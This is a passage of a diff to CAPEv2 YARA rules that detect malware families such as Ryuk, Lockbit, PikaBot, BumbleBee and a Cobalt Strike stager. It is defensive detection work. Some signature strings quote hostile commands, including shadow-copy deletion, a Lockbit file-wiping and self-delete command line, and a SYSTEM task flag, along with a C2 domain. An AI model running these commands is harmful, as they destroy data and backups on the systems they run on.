00 00 88 84 24 [4] E8 [3] FF} + $installers_3 = {B9 6C 00 00 00 88 84 24 [4] E8 [4] B9 65 00 00 00 88 84 24 [4] E8 [3] FF} + $installers_4 = {B9 72 00 00 00 88 84 24 [4] E8 [4] B9 73 00 00 00 88 84 24 [4] E8 [3] FF} + $rc4decrypt_1 = {48 89 ?? 4? 89 ?? E8 [4] 4? 8B ?? 24 [1-4] 4? 89 ?? 4? 89 ?? 4? 89 C1 [0-1] 89 ?? E8 [4] 4? 89} + $rc4decrypt_2 = {E8 [4] 8B ?? 24 [1-4] 4? 89 ?? 48 89 ?? 4? 89 C1 E8 [3] FF} condition: - pe.is_pe and for any s in pe.sections : ( s.name == ".profile" ) and all of them + (2 of ( $string* ) and any of ( $syscall* ) ) or 4 of ( $decrypt* ) or ( ( 3 of ( $taskman_* ) or 3 of ( $installers* ) ) and all of ( $rc4decrypt_* ) ) } -rule CAPE_Rhadamanthys_1 +rule CAPE_Ryuk : FILE { meta: - description = "Rhadamanthys Payload" - author = "kevoreilly, YungBinary" - id = "cd34b971-3603-5237-b47f-aea78ca38cac" - date = "2023-01-25" - modified = "2025-12-19" + description = "Ryuk Payload" + author = "kevoreilly" + id = "594bbb8d-1f85-5a01-a864-ac2d95c45bf9" + date = "2019-10-30" + modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Rhadamanthys.yar#L1-L19" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "3ccfc97202690dd996ffd2b4f09d31e6ee322bf9f0b7759f9b8c455164995f84" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Ryuk.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "b4463993d8956e402b927a3dcfa2ca9693a959908187f720372f2d3a40e6db0c" score = 75 quality = 70 - tags = "" - cape_type = "Rhadamanthys Payload" + tags = "FILE" + cape_type = "Ryuk Payload" strings: - $rc4 = {88 4C 01 08 41 81 F9 00 01 00 00 7C F3 89 75 08 33 FF 8B 4D 08 3B 4D 10 72 04 83 65 08 00} - $code = {8B 4D FC 3B CF 8B C1 74 0D 83 78 04 02 74 1C 8B 40 1C 3B C7 75 F3 3B CF 8B C1 74 57 83 78 04 17 74 09 8B 40 1C 3B C7 75 F3 EB} - $conf_1 = {46 BB FF 00 00 00 23 F3 0F B6 44 31 08 03 F8 23 FB 0F B6 5C 39 08 88 5C 31 08 88 44 39 08 02 C3 8B 5D 08 0F B6 C0 8A 44 08 08} - $conf_2 = {0F B6 4F 2A 8D 77 2A 33 C0 6A 03 89 45 F8 89 45 FC 89 45 08 8B C1} - $beef = {57 8D 44 33 FC 53 83 C6 FC 50 56 E8 [4] 83 C4 10 66 81 3F EF BE 0F 85} - $anti = {50 68 [4] 68 [4] E8 [4] 83 C4 0C A3 [4] 85 C0 74} - $dnr = {99 52 50 8D 45 ?? 99 52 50 8B C7 99 52 50 8B C3 99 52 50} - $sys = {83 E4 F0 6A 33 E8 00 00 00 00 83 04 24 05 CB} - $cape_string = "cape_options" + $ext = ".RYK" wide + $readme = "RyukReadMe.txt" wide + $main = "InvokeMainViaCRT" + $code = {48 8B 4D 10 48 8B 03 48 C1 E8 07 C1 E0 04 F7 D0 33 41 08 83 E0 10 31 41 08 48 8B 4D 10 48 8B 03 48 C1 E8 09 C1 E0 03 F7 D0 33 41 08 83 E0 08 31 41 08} condition: - 2 of them and not $cape_string + uint16( 0 ) == 0x5A4D and 3 of ( $* ) } -rule CAPE_Rhadamanthysloader +rule CAPE_Masslogger : FILE { meta: - description = "Rhadamanthys Loader" + description = "MassLogger" author = "kevoreilly" - id = "0d9955e8-c6e5-50f0-8006-8f6157038d40" - date = "2023-01-25" - modified = "2025-12-19" + id = "0743421a-36f7-5b7c-859f-b461511151cb" + date = "2020-10-20" + modified = "2020-11-24" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Rhadamanthys.yar#L21-L33" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "5505c9ba1f0c6cb9aa9c212bf8bc2c49ad544e99996a1f4c1fa79a27a14d4c7f" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/MassLogger.yar#L1-L12" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "c8d82694810aafbdc6a35a661e7431e9536035e2f7fef90b9359064c4209b66c" score = 75 quality = 70 - tags = "" - cape_type = "Rhadamanthys Loader" + tags = "FILE" + cape_type = "MassLogger Payload" strings: - $ref = {33 D2 B9 0B 00 00 00 F7 F1 B8 01 00 00 00 6B C8 00 8D 84 0D [4] 0F BE 0C 10 8B 95 [4] 03 95 [4] 0F B6 02 33 C1 8B 8D [4] 03 8D [4] 88 01} - $ntdll = {B9 6E 00 00 00 66 89 8D [4] BA 74 00 00 00 66 89 95 [4] B8 64 00 00 00 66 89 85 [4] B9 6C 00 00 00 66 89 8D [4] BA 6C 00 00 00 66 89 95} - $exit = {6A 00 6A 00 6A 00 6A 00 6A 00 6A 00 8B 95 [4] 52 8B 85 [4] 50 6A 00 68 FF FF 1F 00} + $name = "MassLogger" + $fody = "Costura" condition: - 2 of them + uint16( 0 ) == 0x5A4D and 2 of them } -rule CAPE_Megacortex : FILE +rule CAPE_Mykings : FILE { meta: - description = "MegaCortex Payload" + description = "No description has been set in the source file - CAPE" + author = "YungBinary" + id = "c9d7b061-b76c-595c-a362-6c89c96093d9" + date = "2025-10-24" + modified = "2025-10-26" + reference = "https://x.com/YungBinary/status/1981108948498333900" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/MyKings.yar#L1-L23" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "82647dd23c0247faa045893ec1cf111da2a30528a1b737b59ce1b71172a64473" + score = 75 + quality = 70 + tags = "FILE" + cape_type = "MyKings Payload" + + strings: + $s1 = "login.php?uid=0" wide + $s2 = "download.txt?rnd=" wide + $s3 = "AcceptOK" ascii + $s4 = "winsta0\\default" wide + $s5 = "base64_ip.txt" wide + $s6 = { 70 00 6F 00 77 00 65 00 72 00 74 00 6F 00 6F 00 6C 00 00 00 6B 00 61 00 73 00 70 00 65 00 72 00 73 00 6B 00 79 } + $s7 = { 53 00 61 00 66 00 65 00 00 00 00 00 45 00 73 00 65 00 74 } + $s8 = { 4E 00 6F 00 64 00 33 00 32 00 00 00 4D 00 61 00 6C 00 77 00 61 00 72 00 65 } + $s9 = "Custom C++ HTTP Client/1.0" wide + $s10 = "/ru \"SYSTEM\" /f" ascii + $s11 = "cmd.exe /C timeout /t 1 & del " wide + $s12 = "/login.aspx?uid=0" wide + $s13 = "cmd-230812.ru" base64 + + condition: + uint16( 0 ) == 0x5a4d and ( 3 of ( $s* ) ) +} +rule CAPE_Zerot : FILE +{ + meta: + description = "ZeroT Payload" author = "kevoreilly" - id = "ea3dd937-2cb1-5b0f-98b8-154aacaf8650" + id = "dc5dc18c-2ec6-541d-905c-42543f17b16d" date = "2019-10-30" modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/MegaCortex.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "5de1d8241260070241c91b97f18feb2a90069e3b158e863e2d9f568799c244e6" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/ZeroT.yar#L1-L15" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "f60ae25ac3cd741b8bdc5100b5d3c474b5d9fbe8be88bfd184994bae106c3803" score = 75 - quality = 70 + quality = 68 tags = "FILE" - cape_type = "MegaCortex Payload" + cape_type = "ZeroT Payload" strings: - $str1 = ".megac0rtx" ascii wide - $str2 = "vssadmin delete shadows /all" ascii - $sha256 = {98 2F 8A 42 91 44 37 71 CF FB C0 B5 A5 DB B5 E9} + $decrypt = {8B C1 8D B5 FC FE FF FF 33 D2 03 F1 F7 75 10 88 0C 33 41 8A 04 3A 88 06 81 F9 00 01 00 00 7C E0} + $string1 = "(*^GF(9042&*" + $string2 = "s2-18rg1-41g3j_.;" + $string3 = "GET" wide + $string4 = "open" condition: uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Lumma_1 : FILE +rule CAPE_Rozena { meta: - description = "Lumma Payload" + description = "No description has been set in the source file - CAPE" + author = "Kevin O'Reilly" + id = "38ca9da3-2a0e-500f-8eb8-9de69a7f2da5" + date = "2024-03-13" + modified = "2024-03-15" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Rozena.yar#L1-L10" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "c415a8108b58a125a604031bb8d73b58a8aae5429b5b765e35fa8a4add9cd135" + score = 75 + quality = 70 + tags = "" + cape_type = "Rozena Payload" + + strings: + $ip_port = {FF D5 6A 0A 68 [4] 68 [4] 89 E6 50 50 50 50 40 50 40 50 68 [4] FF D5} + $socket = {6A 00 6A 04 56 57 68 [4] FF D5 [0-5] 8B 36 6A 40 68 00 10 00 00 56 6A 00 68} + + condition: + all of them +} +rule CAPE_Lokibot : FILE +{ + meta: + description = "LokiBot Payload" author = "kevoreilly" - id = "66cb8b1a-e27e-5008-8f52-0e52e6624057" - date = "2024-01-05" - modified = "2025-07-08" + id = "8cdf69e2-ecac-5241-adba-c458cce0610f" + date = "2022-02-01" + modified = "2022-02-01" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Lumma.yar#L1-L16" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "ca7822292c58af68e7a1610362bf0b5d27c93e3222ceec8d216e05a442008f37" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/LokiBot.yar#L1-L12" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "a5b3d518371138740e913d2d6ce4fa22d3da5cea7e034c7d6b4b502e6bf44b06" score = 75 quality = 70 tags = "FILE" - cape_type = "Lumma Payload" - packed = "0ee580f0127b821f4f1e7c032cf76475df9724a9fade2e153a69849f652045f8" - packed = "23ff1c20b16d9afaf1ce443784fc9a025434a010e2194de9dec041788c369887" + cape_type = "LokiBot Payload" strings: - $decode1 = {C1 (E9|EA) 02 [0-3] 0F B6 (44|4C) ?? FF 83 (F8|F9) 3D 74 05 83 (F8|F9) 2E 75 01 (49|4A) [0-30] 2E 75} - $decode2 = {B0 40 C3 B0 3F C3 89 C8 04 D0 3C 09 77 06 80 C1 04 89 C8 C3 89 C8 04 BF 3C} - $decode3 = {B0 40 C3 B0 3F C3 80 F9 30 72 ?? 80 F9 39 77 06 80 C1 04 89 C8 C3} - $decode4 = {89 C8 04 D0 3C 09 77 ?? [3-11] 89 C8 [0-1] C3 89 C8 04 BF 3C 1A 72 ?? 89 C8 04 9F 3C} + $a1 = "DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW" + $a2 = "last_compatible_version" condition: - uint16( 0 ) == 0x5a4d and any of them + uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) } -rule CAPE_Bitpaymer : FILE +rule CAPE_Oyster { meta: - description = "BitPaymer Payload" + description = "Oyster Payload" + author = "enzok" + id = "29443d00-e3de-53fd-b617-df470a30e805" + date = "2024-03-01" + modified = "2024-05-30" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Oyster.yar#L1-L19" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "8bae0fa9f589cd434a689eebd7a1fde949cc09e6a65e1b56bb620998246a1650" + logic_hash = "23ab1518712dbce8319b87785d7ffc0c2b61de82c2bbf533ebf0aae39ec33540" + score = 75 + quality = 70 + tags = "" + cape_type = "Oyster Payload" + + strings: + $start_exit = {(05 | 00) 00 00 00 2E 96 1E A6} + $content_type = {F6 CE 56 F4 76 F6 96 2E 86 C6 96 36 0E 0E 86 04 5C A6 0E 9E 2A B4 2E 76 A6 2E 76 F6 C2} + $domain = {44 5C 44 76 96 86 B6 F6 26 44 34 44} + $id = {44 5C 44 64 96 44 DE} + $ip_local = {44 5C 44 36 86 C6 F6 36 FA 0E 96 44 34 44} + $table_part_1 = {00 80 40 C0 20 A0 60 E0 10 90 50 D0 30 B0 70 F0 08 88 48 C8 28 A8 68} + $table_part_2 = {97 57 D7 37 B7 77 F7 0F 8F 4F CF 2F AF 6F EF 1F 9F 5F DF 3F BF 7F FF} + $decode = {0F B6 0? 8D ?? FF 8A [2] 0F B6 80 [4] 88 04 ?? 46 0F B6 C? 0F B6 80 [4] 88 4? 01 3B F7} + + condition: + 4 of them +} +rule CAPE_Bumblebeeshellcode_1 +{ + meta: + description = "BumbleBee Loader 2023" author = "kevoreilly" - id = "c139b514-a1ba-5d47-8f4d-8e60cddfe2ba" - date = "2019-11-27" - modified = "2019-11-27" + id = "e04f80d0-3a57-51bc-8a54-639c7291a0d8" + date = "2022-04-21" + modified = "2024-10-29" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/BitPaymer.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "6ae0dc9a36da13e483d8d653276b06f59ecc15c95c754c268dcc91b181677c4c" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/BumbleBee.yar#L18-L33" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "d56f8c4e491d0d1b34e396e73750bef9917ca4f708fb6a2681de772a65c13a40" score = 75 quality = 70 - tags = "FILE" - cape_type = "BitPaymer Payload" + tags = "" + cape_type = "BumbleBeeLoader Payload" + packed = "51bb71bd446bd7fc03cc1234fcc3f489f10db44e312c9ce619b937fad6912656" strings: - $decrypt32 = {6A 40 58 3B C8 0F 4D C1 39 46 04 7D 50 53 57 8B F8 81 E7 3F 00 00 80 79 05 4F 83 CF C0 47 F7 DF 99 1B FF 83 E2 3F 03 C2 F7 DF C1 F8 06 03 F8 C1 E7 06 57} - $antidefender = "TouchMeNot" wide + $setpath = "setPath" + $alloc = {B8 01 00 00 00 48 6B C0 08 48 8D 0D [2] 00 00 48 03 C8 48 8B C1 48 89 [3] 00 00 00 8B 44 [2] 05 FF 0F 00 00 25 00 F0 FF FF 8B C0 48 89} + $hook = {48 85 C9 74 20 48 85 D2 74 1B 4C 8B C9 45 85 C0 74 13 48 2B D1 42 8A 04 0A 41 88 01 49 FF C1 41 83 E8 01 75 F0 48 8B C1 C3} + $algo = {41 8B C1 C1 E8 0B 0F AF C2 44 3B C0 73 6A 4C 8B [3] 44 8B C8 B8 00 08 00 00 2B C2 C1 E8 05 66 03 C2 8B 94 [2] 00 00 00} + $cape_string = "cape_options" condition: - uint16( 0 ) == 0x5A4D and all of them + 2 of them and not $cape_string } -rule CAPE_Petya : FILE +rule CAPE_Bumblebee2024 { meta: - description = "Petya Payload" + description = "BumbleBee 2024" + author = "enzok" + id = "ba92b894-912d-593c-acf9-99cb6ad6d61f" + date = "2022-04-21" + modified = "2024-10-29" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/BumbleBee.yar#L52-L68" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "db58272c1ba74bc6e6a90bdacf7e8feec94be5da2b5123e0475ce86448f3edb2" + score = 75 + quality = 70 + tags = "" + cape_type = "BumbleBee Payload" + packed = "a20d56ab2e53b3a599af9904f163bb2e1b2bb7f2c98432519e1fbe87c3867e66" + + strings: + $rc4key = {48 [6] 48 [6] E8 [4] 4C 89 AD [4] 4C 89 AD [4] 4C 89 B5 [4] 4C 89 AD [4] 44 88 AD [4] 48 8D 15 [4] 44 38 2D [4] 75} + $botidlgt = {4C 8B C1 B? 4F 00 00 00 48 8D 0D [4] E8 [4] 4C 8B C3 48 8D 0D [4] B? 4F 00 00 00 E8 [4] 4C 8B C3 48 8D 0D [4] B? FF 0F 00 00 E8} + $botid = {90 48 [6] E8 [4] 4C 89 AD [4] 4C 89 AD [4] 4C 89 B5 [4] 4C 89 AD [4] 44 88 AD [4] 48 8D 15 [4] 44 38 2D [4] 75} + $port = {4C 89 6D ?? 4C 89 6D ?? 4c 89 75 ?? 4C 89 6D ?? 44 88 6D ?? 48 8D 05 [4] 44 38 2D [4] 75} + $dga1 = {4C 89 75 ?? 4C 89 6D ?? 44 88 6D ?? 48 8B 1D [4] 48 8D 0D [4] E8 [4] 8B F8} + $dga2 = {48 8D 0D [4] E8 [4] 8B F0 4C 89 6D ?? 4C 89 6D ?? 4C 89 75 ?? 4C 89 6D ?? 44 88 6D ?? 48 8D 15 [4] 44 38 2D [4] 75} + + condition: + $rc4key and all of ( $botid* ) and 2 of ( $port , $port , $dga1 , $dga2 ) +} +rule CAPE_Ursnifv3_1 : FILE +{ + meta: + description = "UrsnifV3 Payload" author = "kevoreilly" - id = "e581747c-c40f-5689-84b4-d55134b532f7" - date = "2019-10-30" - modified = "2019-10-30" + id = "9dd32f80-b535-52a3-91e1-4db005362fd4" + date = "2022-05-31" + modified = "2023-03-23" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Petya.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "f819261bb34f3b2eb7dc2f843b56be25105570fe902a77940a632a54fbe0d014" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/UrsnifV3.yar#L1-L18" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "501cd52388aba16f9d33b4555f310e1ad58326916b15358a485c701acb87abd8" score = 75 quality = 70 tags = "FILE" - cape_type = "Petya Payload" + cape_type = "UrsnifV3 Payload" + packed = "75827be0c600f93d0d23d4b8239f56eb8c7dc4ab6064ad0b79e6695157816988" + packed = "5d6f1484f6571282790d64821429eeeadee71ba6b6d566088f58370634d2c579" strings: - $a1 = "CHKDSK is repairing sector" - $a2 = "wowsmith123456@posteo.net" - $a3 = "1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX" wide + $crypto32_1 = {8B C3 83 EB 01 85 C0 75 0D 0F B6 16 83 C6 01 89 74 24 14 8D 58 07 8B C2 C1 E8 07 83 E0 01 03 D2 85 C0 0F 84 AB 01 00 00 8B C3 83 EB 01 85 C0 89 5C 24 20 75 13 0F B6 16 83 C6 01 BB 07 00 00 00} + $crypto32_2 = {8B 45 ?? 0F B6 3? FF 45 [2-4] 8B C? 23 C? 40 40 D1 E? 7?} + $crypto32_3 = {F6 46 03 02 75 5? 8B 46 10 40 50 E8 [10-12] 74 ?? F6 46 03 01 74} + $crypto32_4 = {C7 44 24 10 01 00 00 00 8B 4? 10 [12] 8B [2] 89 01 8B 44 24 10 5F 5E 5B 8B E5 5D C2 0C 00} + $cpuid = {8B C4 FF 18 8B F0 33 C0 0F A2 66 8C D8 66 8E D0 8B E5 8B C6 5E 5B 5D C3} + $cape_string = "cape_options" condition: - uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) + uint16( 0 ) == 0x5A4D and 1 of ( $crypto32_* ) and $cpuid and not $cape_string } -rule CAPE_Dreambot : FILE +rule CAPE_Pikabotloader : FILE { meta: - description = "Dreambot Payload" + description = "Pikabot Loader" author = "kevoreilly" - id = "675c2fea-fe48-5afd-9fa1-de919134892f" - date = "2019-10-30" - modified = "2019-10-30" + id = "e2c89cdd-0cdb-5367-8aae-2fe685eff972" + date = "2023-02-13" + modified = "2024-03-13" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Dreambot.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "29c6d648d5d38667c5824c2d20a83a20448c2ae6054ddddb2b2b7f8bdb69f74b" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/PikaBot.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "7e5f1f2911545ee6bd36b54f2627fbdec1b957f4b91df901dd1c6cbd4dff0231" score = 75 quality = 70 tags = "FILE" - cape_type = "Dreambot Payload" + cape_type = "PikaBot Loader" strings: - $a1 = {53 56 33 F6 33 DB C1 6C 24 0C 02 74 2F 8B 02 85 C0 75 11 83 7C 24 0C 02 76 0A 39 42 04 75 05 39 42 08 74 18 43 8A CB D3 C0 33 C6 33 44 24 10 8B F0 89 32 83 C2 04 FF 4C 24 0C 75 D1 5E 5B C2 08 00} - $a2 = {53 33 C9 33 DB C1 6C 24 08 02 74 22 56 8B 02 85 C0 8B F0 74 18 33 C1 33 44 24 10 43 8A CB D3 C8 8B CE 89 02 83 C2 04 FF 4C 24 0C 75 E0 5E 5B C2 08 00} - $b1 = "Oct 5 2016" - $b2 = ".bss" + $indirect = {31 C0 64 8B 0D C0 00 00 00 85 C9 74 01 40 50 8D 54 24 ?? E8 [4] A3 [4] 8B 25 [4] A1} + $sysenter1 = {89 44 24 08 8D 85 ?? FC FF FF C7 44 24 04 FF FF 1F 00 89 04 24 E8} + $sysenter2 = {C7 44 24 0C 00 00 00 02 C7 44 24 08 00 00 00 02 8B 45 0C 89 44 24 04 8B 45 08 89 04 24 E8} condition: - uint16( 0 ) == 0x5A4D and ( 1 of ( $a* ) ) and ( all of ( $b* ) ) + uint16( 0 ) == 0x5A4D and 2 of them } -rule CAPE_Lockbit : FILE +rule CAPE_Pikabot : FILE { meta: - description = "Lockbit Payload" + description = "Pikabot Payload" author = "kevoreilly" - id = "ec9b4fec-0233-5277-b922-07057c2b4b34" - date = "2020-05-14" - modified = "2022-06-09" + id = "140a3e20-9837-5f66-85dc-af278d75e074" + date = "2023-02-13" + modified = "2024-03-13" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Lockbit.yar#L1-L15" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "80ab705c8246a0bd5b3de65146cf32b102f39bf9444bdf1d366b5a794c1229b9" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/PikaBot.yar#L15-L28" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "ed07217c373831a9a67d914854154988696e6fcea70dedabf333385f0e7bb8b7" score = 75 quality = 70 tags = "FILE" - cape_type = "Lockbit Payload" + cape_type = "PikaBot Payload" + packed = "89dc50024836f9ad406504a3b7445d284e97ec5dafdd8f2741f496cac84ccda9" strings: - $string1 = "/C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 \"%s\" & Del /f /q \"%s\"" wide - $string2 = "Ransom" ascii wide - $crypto = {8B 4D 08 C1 E9 10 0F B6 D1 8B 4D 0C C1 E9 08 0F B6 C9 8B 14 95 [4] 8B 7D FC 33 14 8D [4] 8B CF C1 E9 18 33 14 8D [4] 0F B6 CB 33 14 8D [4] 8B CF 33 10} - $decode1 = {8A ?4 34 ?C 0? 00 00 8B 8? 24 ?8 0? 00 00 0F BE ?? 0F BE C? 33 ?? 88 ?? 34 ?? 0? 00 00 46 83 FE 0? 72 DD} - $decode2 = {8A 44 24 ?? 30 44 0C ?? 41 83 F9 ?? 72 F2} + $decode = {29 D1 01 4B ?? 8D 0C 10 89 4B ?? 85 F6 74 02 89 16} + $indirect = {31 C0 64 8B 0D C0 00 00 00 85 C9 74 01 40 50 8D 54 24 ?? E8 [4] A3 [4] 8B 25 [4] A1} + $config = {C7 44 24 [3] 00 00 C7 44 24 [4] 00 89 [1-4] ?? E8 [4] 31 C0 C7 44 24 [3] 00 00 89 44 24 ?? C7 04 24 [4] E8} condition: - uint16( 0 ) == 0x5A4D and ( 2 of them ) + uint16( 0 ) == 0x5A4D and 2 of them } -rule CAPE_Doppelpaymer : FILE +rule CAPE_Pik23 : FILE { meta: - description = "DoppelPaymer Payload" + description = "PikaBot Payload February 2023" author = "kevoreilly" - id = "c8178906-1722-5908-9ad4-7ee1eef39138" - date = "2019-11-15" - modified = "2022-06-27" + id = "fc804c63-fc6c-5b26-92b1-aa5d2fbc4917" + date = "2023-02-13" + modified = "2024-03-13" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/DoppelPaymer.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "73a2575671bafc31a70af3ce072d6f94ae172b12202baebba586a02524cb6f9d" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/PikaBot.yar#L30-L44" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "59f42ecde152f78731e54ea27e761bba748c9309a6ad1c2fd17f0e8b90f8aed1" + logic_hash = "71a71df2f2a075294941c54eed06cafaaa4d3294e45b3a0098c1cffddd0438bc" score = 75 quality = 70 tags = "FILE" - cape_type = "DoppelPaymer Payload" + cape_type = "PikaBot Payload" strings: - $getproc32 = {81 FB ?? ?? ?? ?? 74 2D 8B CB E8 ?? ?? ?? ?? 85 C0 74 0C 8B C8 8B D7 E8 ?? ?? ?? ?? 5B 5F C3} - $cmd_string = "Setup run\\n" wide + $rdtsc = {89 55 FC 89 45 F8 0F 31 89 55 F4 89 45 FC 33 C0 B8 05 00 00 00 C1 E8 02 2B C3 3B C1 0F 31 89 55 F0 89 45 F8 8B 44 8D} + $int2d = {B8 00 00 00 00 CD 2D 90 C3 CC CC CC CC CC CC CC} + $subsys = {64 A1 30 00 00 00 8B 40 18 C3} + $rijndael = {EB 0F 0F B6 04 3? FE C? 8A 80 [4] 88 04 3? 0F B6 [3] 7C EA 5? 5? C9 C3} condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and 3 of them } -rule CAPE_Trickbot +rule CAPE_Cobaltstrikestager { meta: - description = "TrickBot Payload" - author = "sysopfb & kevoreilly" - id = "dc88eadd-7b84-5bd0-96d1-aad480632bee" - date = "2019-10-30" - modified = "2023-02-07" + description = "Cobalt Strike Stager Payload" + author = "@dan__mayer " + id = "eedf71b1-9f27-5a6f-afe8-3ddae47f9a06" + date = "2023-01-18" + modified = "2023-01-18" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/TrickBot.yar#L1-L20" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "47cc2070b43957601a72745329a9d14fb3fbfd4d2b31cacc35d4ac750dde31ea" + source_url = 